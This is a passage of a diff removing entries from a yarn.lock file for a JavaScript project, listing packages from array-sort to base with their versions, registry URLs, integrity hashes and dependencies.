-  integrity sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==
-
-array-sort@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/array-sort/-/array-sort-1.0.0.tgz#e4c05356453f56f53512a7d1d6123f2c54c0a88a"
-  integrity sha512-ihLeJkonmdiAsD7vpgN3CRcx2J2S0TiYW+IS/5zHBI7mKUq3ySvBdzzBfD236ubDBQFiiyG3SWCPc+msQ9KoYg==
-  dependencies:
-    default-compare "^1.0.0"
-    get-value "^2.0.6"
-    kind-of "^5.0.2"
-
-array-tree-filter@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/array-tree-filter/-/array-tree-filter-2.1.0.tgz#873ac00fec83749f255ac8dd083814b4f6329190"
-  integrity sha512-4ROwICNlNw/Hqa9v+rk5h22KjmzB1JGTMVKP2AKJBOCgb0yL0ASf0+YvCcLNNwquOHNX48jkeZIJ3a+oOQqKcw==
-
-array-union@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/array-union/-/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39"
-  integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=
-  dependencies:
-    array-uniq "^1.0.1"
-
-array-union@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
-  integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
-
-array-uniq@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
-  integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
-
-array-unique@^0.3.2:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
-
-array.prototype.flat@^1.2.1, array.prototype.flat@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.2.4.tgz#6ef638b43312bd401b4c6199fdec7e2dc9e9a123"
-  integrity sha512-4470Xi3GAPAjZqFcljX2xzckv1qeKPizoNkiS0+O4IoPR2ZNpcjE0pkhdihlDouK+x6QOast26B4Q/O9DJnwSg==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-
-array.prototype.flatmap@^1.2.4:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.2.4.tgz#94cfd47cc1556ec0747d97f7c7738c58122004c9"
-  integrity sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-    function-bind "^1.1.1"
-
-arrify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
-  integrity sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=
-
-asap@~2.0.3, asap@~2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
-  integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=
-
-asn1.js@^5.2.0:
-  version "5.4.1"
-  resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
-  integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==
-  dependencies:
-    bn.js "^4.0.0"
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-    safer-buffer "^2.1.0"
-
-asn1@~0.2.3:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
-  integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
-  dependencies:
-    safer-buffer "~2.1.0"
-
-assert-plus@1.0.0, assert-plus@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-  integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
-
-assert@^1.1.1:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
-  integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==
-  dependencies:
-    object-assign "^4.1.1"
-    util "0.10.3"
-
-assign-symbols@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
-
-ast-types-flow@0.0.7, ast-types-flow@^0.0.7:
-  version "0.0.7"
-  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad"
-  integrity sha1-9wtzXGvKGlycItmCw+Oef+ujva0=
-
-astral-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-1.0.0.tgz#6c8c3fb827dd43ee3918f27b82782ab7658a6fd9"
-  integrity sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==
-
-async-done@^1.2.0, async-done@^1.2.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/async-done/-/async-done-1.3.2.tgz#5e15aa729962a4b07414f528a88cdf18e0b290a2"
-  integrity sha512-uYkTP8dw2og1tu1nmza1n1CMW0qb8gWWlwqMmLb7MhBVs4BXrFziT6HXUd+/RlRA/i4H9AkofYloUbs1fwMqlw==
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.2"
-    process-nextick-args "^2.0.0"
-    stream-exhaust "^1.0.1"
-
-async-each@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
-  integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==
-
-async-eventemitter@^0.2.2:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/async-eventemitter/-/async-eventemitter-0.2.4.tgz#f5e7c8ca7d3e46aab9ec40a292baf686a0bafaca"
-  integrity sha512-pd20BwL7Yt1zwDFy+8MX8F1+WCT8aQeKj0kQnTrH9WaeRETlRamVhD0JtRPmrV4GfOJ2F9CvdQkZeZhnh2TuHw==
-  dependencies:
-    async "^2.4.0"
-
-async-limiter@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd"
-  integrity sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==
-
-async-mutex@^0.2.6:
-  version "0.2.6"
-  resolved "https://registry.yarnpkg.com/async-mutex/-/async-mutex-0.2.6.tgz#0d7a3deb978bc2b984d5908a2038e1ae2e54ff40"
-  integrity sha512-Hs4R+4SPgamu6rSGW8C7cV9gaWUKEHykfzCCvIRuaVv636Ju10ZdeUbvb4TBEW0INuq2DHZqXbK4Nd3yG4RaRw==
-  dependencies:
-    tslib "^2.0.0"
-
-async-settle@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/async-settle/-/async-settle-1.0.0.tgz#1d0a914bb02575bec8a8f3a74e5080f72b2c0c6b"
-  integrity sha1-HQqRS7Aldb7IqPOnTlCA9yssDGs=
-  dependencies:
-    async-done "^1.2.2"
-
-async-validator@^3.0.3:
-  version "3.5.2"
-  resolved "https://registry.yarnpkg.com/async-validator/-/async-validator-3.5.2.tgz#68e866a96824e8b2694ff7a831c1a25c44d5e500"
-  integrity sha512-8eLCg00W9pIRZSB781UUX/H6Oskmm8xloZfr09lz5bikRpBVDlJ3hRVuxxP1SxcwsEYfJ4IU8Q19Y8/893r3rQ==
-
-async@3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/async/-/async-3.2.0.tgz#b3a2685c5ebb641d3de02d161002c60fc9f85720"
-  integrity sha512-TR2mEZFVOj2pLStYxLht7TyfuRzaydfpxr3k9RpHIzMgw7A64dzsdqCxH1WJyQdoe8T10nDXd9wnEigmiuHIZw==
-
-async@^1.4.2:
-  version "1.5.2"
-  resolved "https://registry.yarnpkg.com/async/-/async-1.5.2.tgz#ec6a61ae56480c0c3cb241c95618e20892f9672a"
-  integrity sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=
-
-async@^2.0.1, async@^2.1.2, async@^2.4.0, async@^2.5.0, async@^2.6.2:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/async/-/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff"
-  integrity sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==
-  dependencies:
-    lodash "^4.17.14"
-
-asynckit@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
-  integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
-
-at-least-node@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2"
-  integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==
-
-atob@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
-  integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==
-
-autoprefixer@^10.2.4:
-  version "10.2.6"
-  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-10.2.6.tgz#aadd9ec34e1c98d403e01950038049f0eb252949"
-  integrity sha512-8lChSmdU6dCNMCQopIf4Pe5kipkAGj/fvTMslCsih0uHpOrXOPUEVOmYMMqmw3cekQkSD7EhIeuYl5y0BLdKqg==
-  dependencies:
-    browserslist "^4.16.6"
-    caniuse-lite "^1.0.30001230"
-    colorette "^1.2.2"
-    fraction.js "^4.1.1"
-    normalize-range "^0.1.2"
-    postcss-value-parser "^4.1.0"
-
-autoprefixer@^9.6.1:
-  version "9.8.6"
-  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-9.8.6.tgz#3b73594ca1bf9266320c5acf1588d74dea74210f"
-  integrity sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg==
-  dependencies:
-    browserslist "^4.12.0"
-    caniuse-lite "^1.0.30001109"
-    colorette "^1.2.1"
-    normalize-range "^0.1.2"
-    num2fraction "^1.2.2"
-    postcss "^7.0.32"
-    postcss-value-parser "^4.1.0"
-
-aws-sdk@2.647.0:
-  version "2.647.0"
-  resolved "https://registry.yarnpkg.com/aws-sdk/-/aws-sdk-2.647.0.tgz#d1edc65f0018ef8252d142e620eef20fe699e1ef"
-  integrity sha512-yOORXYUpy2x7yantXF4rdobRPMsCUIc75Vmp9d1x397iWkQkEU9F7YEBR+QnoBoWs1DQZUV1DcSR5JJ4z43I2A==
-  dependencies:
-    buffer "4.9.1"
-    events "1.1.1"
-    ieee754 "1.1.13"
-    jmespath "0.15.0"
-    querystring "0.2.0"
-    sax "1.2.1"
-    url "0.10.3"
-    uuid "3.3.2"
-    xml2js "0.4.19"
-
-aws-sign2@~0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-  integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
-
-aws4@^1.8.0:
-  version "1.11.0"
-  resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59"
-  integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==
-
-axe-core@^4.0.2:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.2.2.tgz#0c987d82c8b82b4b9b7a945f1b5ef0d8fed586ed"
-  integrity sha512-OKRkKM4ojMEZRJ5UNJHmq9tht7cEnRnqKG6KyB/trYws00Xtkv12mHtlJ0SK7cmuNbrU8dPUova3ELTuilfBbw==
-
-axios@^0.21.1:
-  version "0.21.1"
-  resolved "https://registry.yarnpkg.com/axios/-/axios-0.21.1.tgz#22563481962f4d6bde9a76d516ef0e5d3c09b2b8"
-  integrity sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==
-  dependencies:
-    follow-redirects "^1.10.0"
-
-axobject-query@^2.0.2, axobject-query@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-2.2.0.tgz#943d47e10c0b704aa42275e20edf3722648989be"
-  integrity sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA==
-
-babel-code-frame@^6.22.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
-  integrity sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=
-  dependencies:
-    chalk "^1.1.3"
-    esutils "^2.0.2"
-    js-tokens "^3.0.2"
-
-babel-eslint@10.1.0:
-  version "10.1.0"
-  resolved "https://registry.yarnpkg.com/babel-eslint/-/babel-eslint-10.1.0.tgz#6968e568a910b78fb3779cdd8b6ac2f479943232"
-  integrity sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg==
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    "@babel/parser" "^7.7.0"
-    "@babel/traverse" "^7.7.0"
-    "@babel/types" "^7.7.0"
-    eslint-visitor-keys "^1.0.0"
-    resolve "^1.12.0"
-
-babel-extract-comments@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/babel-extract-comments/-/babel-extract-comments-1.0.0.tgz#0a2aedf81417ed391b85e18b4614e693a0351a21"
-  integrity sha512-qWWzi4TlddohA91bFwgt6zO/J0X+io7Qp184Fw0m2JYRSTZnJbFR8+07KmzudHCZgOiKRCrjhylwv9Xd8gfhVQ==
-  dependencies:
-    babylon "^6.18.0"
-
-babel-jest@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-24.9.0.tgz#3fc327cb8467b89d14d7bc70e315104a783ccd54"
-  integrity sha512-ntuddfyiN+EhMw58PTNL1ph4C9rECiQXjI4nMMBKBaNjXvqLdkXpPRcMSr4iyBrJg/+wz9brFUD6RhOAT6r4Iw==
-  dependencies:
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/babel__core" "^7.1.0"
-    babel-plugin-istanbul "^5.1.0"
-    babel-preset-jest "^24.9.0"
-    chalk "^2.4.2"
-    slash "^2.0.0"
-
-babel-loader@8.1.0:
-  version "8.1.0"
-  resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.1.0.tgz#c611d5112bd5209abe8b9fa84c3e4da25275f1c3"
-  integrity sha512-7q7nC1tYOrqvUrN3LQK4GwSk/TQorZSOlO9C+RZDZpODgyN4ZlCqE5q9cDsyWOliN+aU9B4JX01xK9eJXowJLw==
-  dependencies:
-    find-cache-dir "^2.1.0"
-    loader-utils "^1.4.0"
-    mkdirp "^0.5.3"
-    pify "^4.0.1"
-    schema-utils "^2.6.5"
-
-babel-plugin-dynamic-import-node@^2.3.3:
-  version "2.3.3"
-  resolved "https://registry.yarnpkg.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3"
-  integrity sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==
-  dependencies:
-    object.assign "^4.1.0"
-
-babel-plugin-istanbul@^5.1.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-5.2.0.tgz#df4ade83d897a92df069c4d9a25cf2671293c854"
-  integrity sha512-5LphC0USA8t4i1zCtjbbNb6jJj/9+X6P37Qfirc/70EQ34xKlMW+a1RHGwxGI+SwWpNwZ27HqvzAobeqaXwiZw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.0.0"
-    find-up "^3.0.0"
-    istanbul-lib-instrument "^3.3.0"
-    test-exclude "^5.2.3"
-
-babel-plugin-jest-hoist@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-24.9.0.tgz#4f837091eb407e01447c8843cbec546d0002d756"
-  integrity sha512-2EMA2P8Vp7lG0RAzr4HXqtYwacfMErOuv1U3wrvxHX6rD1sV6xS3WXG3r8TRQ2r6w8OhvSdWt+z41hQNwNm3Xw==
-  dependencies:
-    "@types/babel__traverse" "^7.0.6"
-
-babel-plugin-macros@2.8.0:
-  version "2.8.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz#0f958a7cc6556b1e65344465d99111a1e5e10138"
-  integrity sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==
-  dependencies:
-    "@babel/runtime" "^7.7.2"
-    cosmiconfig "^6.0.0"
-    resolve "^1.12.0"
-
-babel-plugin-named-asset-import@^0.3.6:
-  version "0.3.7"
-  resolved "https://registry.yarnpkg.com/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.7.tgz#156cd55d3f1228a5765774340937afc8398067dd"
-  integrity sha512-squySRkf+6JGnvjoUtDEjSREJEBirnXi9NqP6rjSYsylxQxqBTz+pkmf395i9E2zsvmYUaI40BHo6SqZUdydlw==
-
-babel-plugin-polyfill-corejs2@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.2.tgz#e9124785e6fd94f94b618a7954e5693053bf5327"
-  integrity sha512-kISrENsJ0z5dNPq5eRvcctITNHYXWOA4DUZRFYCz3jYCcvTb/A546LIddmoGNMVYg2U38OyFeNosQwI9ENTqIQ==
-  dependencies:
-    "@babel/compat-data" "^7.13.11"
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-    semver "^6.1.1"
-
-babel-plugin-polyfill-corejs3@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.2.tgz#7424a1682ee44baec817327710b1b094e5f8f7f5"
-  integrity sha512-l1Cf8PKk12eEk5QP/NQ6TH8A1pee6wWDJ96WjxrMXFLHLOBFzYM4moG80HFgduVhTqAFez4alnZKEhP/bYHg0A==
-  dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-    core-js-compat "^3.9.1"
-
-babel-plugin-polyfill-regenerator@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.2.tgz#b310c8d642acada348c1fa3b3e6ce0e851bee077"
-  integrity sha512-Goy5ghsc21HgPDFtzRkSirpZVW35meGoTmTOb2bxqdl60ghub4xOidgNTHaZfQ2FaxQsKmwvXtOAkcIS4SMBWg==
-  dependencies:
-    "@babel/helper-define-polyfill-provider" "^0.2.2"
-
-"babel-plugin-styled-components@>= 1.12.0":
-  version "1.12.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-styled-components/-/babel-plugin-styled-components-1.12.0.tgz#1dec1676512177de6b827211e9eda5a30db4f9b9"
-  integrity sha512-FEiD7l5ZABdJPpLssKXjBUJMYqzbcNzBowfXDCdJhOpbhWiewapUaY+LZGT8R4Jg2TwOjGjG4RKeyrO5p9sBkA==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.0.0"
-    "@babel/helper-module-imports" "^7.0.0"
-    babel-plugin-syntax-jsx "^6.18.0"
-    lodash "^4.17.11"
-
-babel-plugin-syntax-jsx@^6.18.0:
-  version "6.18.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz#0af32a9a6e13ca7a3fd5069e62d7b0f58d0d8946"
-  integrity sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=
-
-babel-plugin-syntax-object-rest-spread@^6.8.0:
-  version "6.13.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz#fd6536f2bce13836ffa3a5458c4903a597bb3bf5"
-  integrity sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=
-
-babel-plugin-transform-object-rest-spread@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz#0f36692d50fef6b7e2d4b3ac1478137a963b7b06"
-  integrity sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=
-  dependencies:
-    babel-plugin-syntax-object-rest-spread "^6.8.0"
-    babel-runtime "^6.26.0"
-
-babel-plugin-transform-react-remove-prop-types@0.4.24:
-  version "0.4.24"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz#f2edaf9b4c6a5fbe5c1d678bfb531078c1555f3a"
-  integrity sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==
-
-babel-preset-jest@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-24.9.0.tgz#192b521e2217fb1d1f67cf73f70c336650ad3cdc"
-  integrity sha512-izTUuhE4TMfTRPF92fFwD2QfdXaZW08qvWTFCI51V8rW5x00UuPgc3ajRoWofXOuxjfcOM5zzSYsQS3H8KGCAg==
-  dependencies:
-    "@babel/plugin-syntax-object-rest-spread" "^7.0.0"
-    babel-plugin-jest-hoist "^24.9.0"
-
-babel-preset-react-app@^9.1.2:
-  version "9.1.2"
-  resolved "https://registry.yarnpkg.com/babel-preset-react-app/-/babel-preset-react-app-9.1.2.tgz#54775d976588a8a6d1a99201a702befecaf48030"
-  integrity sha512-k58RtQOKH21NyKtzptoAvtAODuAJJs3ZhqBMl456/GnXEQ/0La92pNmwgWoMn5pBTrsvk3YYXdY7zpY4e3UIxA==
-  dependencies:
-    "@babel/core" "7.9.0"
-    "@babel/plugin-proposal-class-properties" "7.8.3"
-    "@babel/plugin-proposal-decorators" "7.8.3"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "7.8.3"
-    "@babel/plugin-proposal-numeric-separator" "7.8.3"
-    "@babel/plugin-proposal-optional-chaining" "7.9.0"
-    "@babel/plugin-transform-flow-strip-types" "7.9.0"
-    "@babel/plugin-transform-react-display-name" "7.8.3"
-    "@babel/plugin-transform-runtime" "7.9.0"
-    "@babel/preset-env" "7.9.0"
-    "@babel/preset-react" "7.9.1"
-    "@babel/preset-typescript" "7.9.0"
-    "@babel/runtime" "7.9.0"
-    babel-plugin-macros "2.8.0"
-    babel-plugin-transform-react-remove-prop-types "0.4.24"
-
-babel-runtime@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-  integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
-  dependencies:
-    core-js "^2.4.0"
-    regenerator-runtime "^0.11.0"
-
-babylon@^6.18.0:
-  version "6.18.0"
-  resolved "https://registry.yarnpkg.com/babylon/-/babylon-6.18.0.tgz#af2f3b88fa6f5c1e4c634d1a0f8eac4f55b395e3"
-  integrity sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ==
-
-bach@^1.0.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/bach/-/bach-1.2.0.tgz#4b3ce96bf27134f79a1b414a51c14e34c3bd9880"
-  integrity sha1-Szzpa/JxNPeaG0FKUcFONMO9mIA=
-  dependencies:
-    arr-filter "^1.1.1"
-    arr-flatten "^1.0.1"
-    arr-map "^2.0.0"
-    array-each "^1.0.0"
-    array-initial "^1.0.0"
-    array-last "^1.1.1"
-    async-done "^1.2.2"
-    async-settle "^1.0.0"
-    now-and-later "^2.0.0"
-
-backo2@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/backo2/-/backo2-1.0.2.tgz#31ab1ac8b129363463e35b3ebb69f4dfcfba7947"
-  integrity sha1-MasayLEpNjRj41s+u2n038+6eUc=
-
-backoff@^2.5.0:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/backoff/-/backoff-2.5.0.tgz#f616eda9d3e4b66b8ca7fca79f695722c5f8e26f"
-  integrity sha1-9hbtqdPktmuMp/ynn2lXIsX44m8=
-  dependencies:
-    precond "0.2"
-
-balanced-match@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
-  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
-
-base-x@^3.0.2, base-x@^3.0.8:
-  version "3.0.8"
-  resolved "https://registry.yarnpkg.com/base-x/-/base-x-3.0.8.tgz#1e1106c2537f0162e8b52474a557ebb09000018d"
-  integrity sha512-Rl/1AWP4J/zRrk54hhlxH4drNxPJXYUaKffODVI53/dAsV4t9fBxyxYKAVPU1XBHxYwOWP9h9H0hM2MVw4YfJA==
-  dependencies:
-    safe-buffer "^5.0.1"
-
-base16@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/base16/-/base16-1.0.0.tgz#e297f60d7ec1014a7a971a39ebc8a98c0b681e70"
-  integrity sha1-4pf2DX7BAUp6lxo568ipjAtoHnA=
-
-base64-js@^1.0.2, base64-js@^1.3.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
-  integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
-
-base@^0.11.1:
-  version "0.11.2"
-  resolved "https://registry.yarnpkg.com/base/-/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
-  integrity sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==
-  dependencies:
